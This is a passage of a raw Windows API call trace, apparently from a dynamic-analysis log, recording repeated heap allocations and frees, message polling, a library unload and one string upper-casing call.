returned 0x10791a8 [0168.593] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafa98 [0168.593] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10791a8 | out: hHeap=0xe80000) returned 1 [0168.593] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa98 | out: hHeap=0xe80000) returned 1 [0168.593] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078ec0 | out: hHeap=0xe80000) returned 1 [0168.593] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078f98 [0168.593] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1079040 [0168.593] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078f80 [0168.593] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafb58 [0168.593] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078f80 | out: hHeap=0xe80000) returned 1 [0168.593] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafb58 | out: hHeap=0xe80000) returned 1 [0168.593] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1079040 | out: hHeap=0xe80000) returned 1 [0168.593] FreeLibrary (hLibModule=0x770a0000) returned 1 [0168.593] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafc18 | out: hHeap=0xe80000) returned 1 [0168.593] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafb08 | out: hHeap=0xe80000) returned 1 [0168.593] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafad8 | out: hHeap=0xe80000) returned 1 [0168.594] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba5e8 | out: hHeap=0xe80000) returned 1 [0168.595] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078e18 | out: hHeap=0xe80000) returned 1 [0168.595] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9e8 | out: hHeap=0xe80000) returned 1 [0168.595] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078c68 | out: hHeap=0xe80000) returned 1 [0168.595] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078bc0 | out: hHeap=0xe80000) returned 1 [0168.595] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078da0 | out: hHeap=0xe80000) returned 1 [0168.595] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078d58 | out: hHeap=0xe80000) returned 1 [0168.595] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078bd8 | out: hHeap=0xe80000) returned 1 [0168.595] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078db8 | out: hHeap=0xe80000) returned 1 [0168.595] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078de8 | out: hHeap=0xe80000) returned 1 [0168.595] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078bf0 | out: hHeap=0xe80000) returned 1 [0168.595] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078cf8 | out: hHeap=0xe80000) returned 1 [0168.595] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078c08 | out: hHeap=0xe80000) returned 1 [0168.595] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078d10 | out: hHeap=0xe80000) returned 1 [0168.595] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078d88 | out: hHeap=0xe80000) returned 1 [0168.595] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078d70 | out: hHeap=0xe80000) returned 1 [0168.595] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078d40 | out: hHeap=0xe80000) returned 1 [0168.595] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078d28 | out: hHeap=0xe80000) returned 1 [0168.595] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078e00 | out: hHeap=0xe80000) returned 1 [0168.595] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078dd0 | out: hHeap=0xe80000) returned 1 [0168.596] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed2e20 | out: hHeap=0xe80000) returned 1 [0168.596] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078a70 | out: hHeap=0xe80000) returned 1 [0168.596] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078aa0 | out: hHeap=0xe80000) returned 1 [0168.596] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078ae8 | out: hHeap=0xe80000) returned 1 [0168.596] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078980 | out: hHeap=0xe80000) returned 1 [0168.596] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078b48 | out: hHeap=0xe80000) returned 1 [0168.596] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10789c8 | out: hHeap=0xe80000) returned 1 [0168.596] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078a28 | out: hHeap=0xe80000) returned 1 [0168.596] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078938 | out: hHeap=0xe80000) returned 1 [0168.596] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078908 | out: hHeap=0xe80000) returned 1 [0168.596] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078b30 | out: hHeap=0xe80000) returned 1 [0168.596] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078920 | out: hHeap=0xe80000) returned 1 [0168.596] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078b00 | out: hHeap=0xe80000) returned 1 [0168.597] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078ba8 | out: hHeap=0xe80000) returned 1 [0168.597] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078a40 | out: hHeap=0xe80000) returned 1 [0168.597] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078968 | out: hHeap=0xe80000) returned 1 [0168.597] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078ab8 | out: hHeap=0xe80000) returned 1 [0168.597] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078998 | out: hHeap=0xe80000) returned 1 [0168.597] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078b90 | out: hHeap=0xe80000) returned 1 [0168.597] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078ad0 | out: hHeap=0xe80000) returned 1 [0168.597] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078b78 | out: hHeap=0xe80000) returned 1 [0168.597] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10789b0 | out: hHeap=0xe80000) returned 1 [0168.597] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10788c0 | out: hHeap=0xe80000) returned 1 [0168.597] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078cc8 | out: hHeap=0xe80000) returned 1 [0168.597] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10788d8 | out: hHeap=0xe80000) returned 1 [0168.597] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078c20 | out: hHeap=0xe80000) returned 1 [0168.597] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078c38 | out: hHeap=0xe80000) returned 1 [0168.597] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078e60 | out: hHeap=0xe80000) returned 1 [0168.598] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078ce0 | out: hHeap=0xe80000) returned 1 [0168.598] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078e78 | out: hHeap=0xe80000) returned 1 [0168.598] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078c50 | out: hHeap=0xe80000) returned 1 [0168.598] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078cb0 | out: hHeap=0xe80000) returned 1 [0168.598] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078c80 | out: hHeap=0xe80000) returned 1 [0168.598] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078ea8 | out: hHeap=0xe80000) returned 1 [0168.598] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078c98 | out: hHeap=0xe80000) returned 1 [0168.598] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078e90 | out: hHeap=0xe80000) returned 1 [0168.598] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec3a70 | out: hHeap=0xe80000) returned 1 [0168.598] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078a58 | out: hHeap=0xe80000) returned 1 [0168.598] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf948 | out: hHeap=0xe80000) returned 1 [0168.599] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7a38 | out: hHeap=0xe80000) returned 1 [0168.599] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf948 [0168.599] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafc08 | out: hHeap=0xe80000) returned 1 [0168.599] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0168.599] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078e48 | out: hHeap=0xe80000) returned 1 [0168.599] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1079118 | out: hHeap=0xe80000) returned 1 [0168.599] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078fb0 | out: hHeap=0xe80000) returned 1 [0168.599] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078f98 | out: hHeap=0xe80000) returned 1 [0168.599] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078e30 | out: hHeap=0xe80000) returned 1 [0168.599] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xee5ab0 | out: hHeap=0xe80000) returned 1 [0168.599] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf948 | out: hHeap=0xe80000) returned 1 [0168.599] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.599] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba5e8 [0168.599] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078bd8 [0168.599] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf948 [0168.600] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078c20 [0168.600] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf948 | out: hHeap=0xe80000) returned 1 [0168.600] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078c20 | out: hHeap=0xe80000) returned 1 [0168.600] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078bd8 | out: hHeap=0xe80000) returned 1 [0168.600] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba5e8 | out: hHeap=0xe80000) returned 1 [0168.600] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.600] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec750 | out: hHeap=0xe80000) returned 1 [0168.600] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec3d0 | out: hHeap=0xe80000) returned 1 [0168.600] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.601] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf948 [0168.601] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf948 | out: hHeap=0xe80000) returned 1 [0168.601] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec7d0 [0168.601] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.601] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec7d0 | out: hHeap=0xe80000) returned 1 [0168.601] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.601] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed2b50 | out: hHeap=0xe80000) returned 1 [0168.601] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c28 | out: hHeap=0xe80000) returned 1 [0168.601] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec25d8 | out: hHeap=0xe80000) returned 1 [0168.601] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf8f8 | out: hHeap=0xe80000) returned 1 [0168.601] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9ee0 | out: hHeap=0xe80000) returned 1 [0168.601] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d00 | out: hHeap=0xe80000) returned 1 [0168.601] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec23a8 | out: hHeap=0xe80000) returned 1 [0168.601] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0168.601] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba110 | out: hHeap=0xe80000) returned 1 [0168.601] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077b88 | out: hHeap=0xe80000) returned 1 [0168.601] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077a38 | out: hHeap=0xe80000) returned 1 [0168.601] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0168.601] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba6d8 | out: hHeap=0xe80000) returned 1 [0168.602] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c10 | out: hHeap=0xe80000) returned 1 [0168.602] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b98 | out: hHeap=0xe80000) returned 1 [0168.602] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec2488 | out: hHeap=0xe80000) returned 1 [0168.602] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa08 | out: hHeap=0xe80000) returned 1 [0168.602] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9eb8 | out: hHeap=0xe80000) returned 1 [0168.602] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xee6950 | out: hHeap=0xe80000) returned 1 [0168.602] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf508 | out: hHeap=0xe80000) returned 1 [0168.602] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ca0 | out: hHeap=0xe80000) returned 1 [0168.602] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b68 | out: hHeap=0xe80000) returned 1 [0168.602] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec17f8 | out: hHeap=0xe80000) returned 1 [0168.602] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0168.602] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec17d0 | out: hHeap=0xe80000) returned 1 [0168.602] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078470 | out: hHeap=0xe80000) returned 1 [0168.602] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf918 | out: hHeap=0xe80000) returned 1 [0168.602] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xf000b8 | out: hHeap=0xe80000) returned 1 [0168.603] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf938 | out: hHeap=0xe80000) returned 1 [0168.603] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x107f3f8 | out: hHeap=0xe80000) returned 1 [0168.606] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7d38 | out: hHeap=0xe80000) returned 1 [0168.606] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078500 | out: hHeap=0xe80000) returned 1 [0168.606] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba4d0 | out: hHeap=0xe80000) returned 1 [0168.606] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf8b8 | out: hHeap=0xe80000) returned 1 [0168.606] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba7a0 | out: hHeap=0xe80000) returned 1 [0168.606] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b08 | out: hHeap=0xe80000) returned 1 [0168.606] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d78 | out: hHeap=0xe80000) returned 1 [0168.606] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3c8 | out: hHeap=0xe80000) returned 1 [0168.606] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec17a8 | out: hHeap=0xe80000) returned 1 [0168.606] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10784a0 | out: hHeap=0xe80000) returned 1 [0168.607] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba520 | out: hHeap=0xe80000) returned 1 [0168.607] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa28 | out: hHeap=0xe80000) returned 1 [0168.607] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba4f8 | out: hHeap=0xe80000) returned 1 [0168.607] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077c18 | out: hHeap=0xe80000) returned 1 [0168.607] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec2680 | out: hHeap=0xe80000) returned 1 [0168.607] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0168.607] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba700 | out: hHeap=0xe80000) returned 1 [0168.607] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c58 | out: hHeap=0xe80000) returned 1 [0168.607] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ac0 | out: hHeap=0xe80000) returned 1 [0168.607] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec22c8 | out: hHeap=0xe80000) returned 1 [0168.607] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf378 | out: hHeap=0xe80000) returned 1 [0168.608] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9b48 | out: hHeap=0xe80000) returned 1 [0168.608] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1128608 | out: hHeap=0xe80000) returned 1 [0168.609] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0168.609] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 [0168.609] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768f8 | out: hHeap=0xe80000) returned 1 [0168.609] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0168.609] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1640 | out: hHeap=0xe80000) returned 1 [0168.609] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077a50 | out: hHeap=0xe80000) returned 1 [0168.609] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf858 | out: hHeap=0xe80000) returned 1 [0168.609] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0168.609] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10779f0 | out: hHeap=0xe80000) returned 1 [0168.609] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077b58 | out: hHeap=0xe80000) returned 1 [0168.609] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf868 | out: hHeap=0xe80000) returned 1 [0168.609] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055750 | out: hHeap=0xe80000) returned 1 [0168.609] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077b40 | out: hHeap=0xe80000) returned 1 [0168.657] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077bb8 | out: hHeap=0xe80000) returned 1 [0168.657] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9b8 | out: hHeap=0xe80000) returned 1 [0168.657] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0168.657] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077c30 | out: hHeap=0xe80000) returned 1 [0168.657] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077ea0 | out: hHeap=0xe80000) returned 1 [0168.657] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9c8 | out: hHeap=0xe80000) returned 1 [0168.657] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7cb8 | out: hHeap=0xe80000) returned 1 [0168.657] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077de0 | out: hHeap=0xe80000) returned 1 [0168.657] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077b28 | out: hHeap=0xe80000) returned 1 [0168.658] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xee5888 | out: hHeap=0xe80000) returned 1 [0168.658] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf978 | out: hHeap=0xe80000) returned 1 [0168.658] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077b10 | out: hHeap=0xe80000) returned 1 [0168.658] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077bd0 | out: hHeap=0xe80000) returned 1 [0168.658] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf8a8 | out: hHeap=0xe80000) returned 1 [0168.658] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba598 | out: hHeap=0xe80000) returned 1 [0168.658] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d90 | out: hHeap=0xe80000) returned 1 [0168.658] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec2220 | out: hHeap=0xe80000) returned 1 [0168.658] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf498 | out: hHeap=0xe80000) returned 1 [0168.658] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9c88 | out: hHeap=0xe80000) returned 1 [0168.658] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077d80 | out: hHeap=0xe80000) returned 1 [0168.659] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba8b8 | out: hHeap=0xe80000) returned 1 [0168.659] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9d8 | out: hHeap=0xe80000) returned 1 [0168.660] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba778 | out: hHeap=0xe80000) returned 1 [0168.660] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077ca8 | out: hHeap=0xe80000) returned 1 [0168.660] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077af8 | out: hHeap=0xe80000) returned 1 [0168.660] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec24c0 | out: hHeap=0xe80000) returned 1 [0168.660] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0168.660] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba200 | out: hHeap=0xe80000) returned 1 [0168.660] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba458 | out: hHeap=0xe80000) returned 1 [0168.660] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf988 | out: hHeap=0xe80000) returned 1 [0168.660] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xf004d8 | out: hHeap=0xe80000) returned 1 [0168.660] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7d18 | out: hHeap=0xe80000) returned 1 [0168.660] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10783c8 | out: hHeap=0xe80000) returned 1 [0168.663] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0168.663] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3a8 [0168.663] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0xec2418 [0168.663] CharUpperBuffW (in: lpsz="MIVVMSGJPNONEWUB", cchLength=0x10 | out: lpsz="MIVVMSGJPNONEWUB") returned 0x10 [0168.663] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0168.663] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x1) returned 0xeaf3b8 [0168.664] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1488 [0168.664] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076868 [0168.664] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0168.664] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769a0 [0168.664] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x1) returned 0xeaf378 [0168.664] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768e0 [0168.664] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf408 [0168.664] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a18 [0168.664] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x1) returned 0xeaf3f8 [0168.664] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076940 [0168.664] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf338 [0168.664] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076880 [0168.664] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x1) returned 0xeaf418 [0168.664] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768b0 [0168.664] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0168.664] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x10768f8 [0168.664] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec14b0 [0168.664] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768c8 [0168.664] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3c8 [0168.665] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a48 [0168.665] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) 